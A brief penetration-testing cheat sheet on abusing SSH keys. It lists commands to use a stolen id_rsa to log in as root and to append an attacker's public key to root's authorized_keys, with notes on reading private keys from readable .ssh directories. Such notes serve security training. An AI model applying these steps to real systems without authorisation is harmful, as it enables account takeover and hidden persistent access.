Abusing SSH Keys
| Command | Description |
|---|---|
chmod 600 id_rsa | Correct private key permissions |
ssh root@target_ip -i id_rsa | Use private key to login to root |
echo "<public_key_text>" >> /root/.ssh/authorized_keys | Add a public key to an exploited user's SSH config |
About
- If you have read access to a user's
.sshdir, you can read their private keys (/home/user/.ssh/id_rsa) and use them for authentication
Important
- If you can read
/root/.ssh/id_rsa, copy it to local and use the-iflag to use it for authentication
- If you have write access to
.ssh, place your public key in the user'sauthorized_keysfile- Must have control of the user to add public keys
- Use
echoto append toauthorized_keys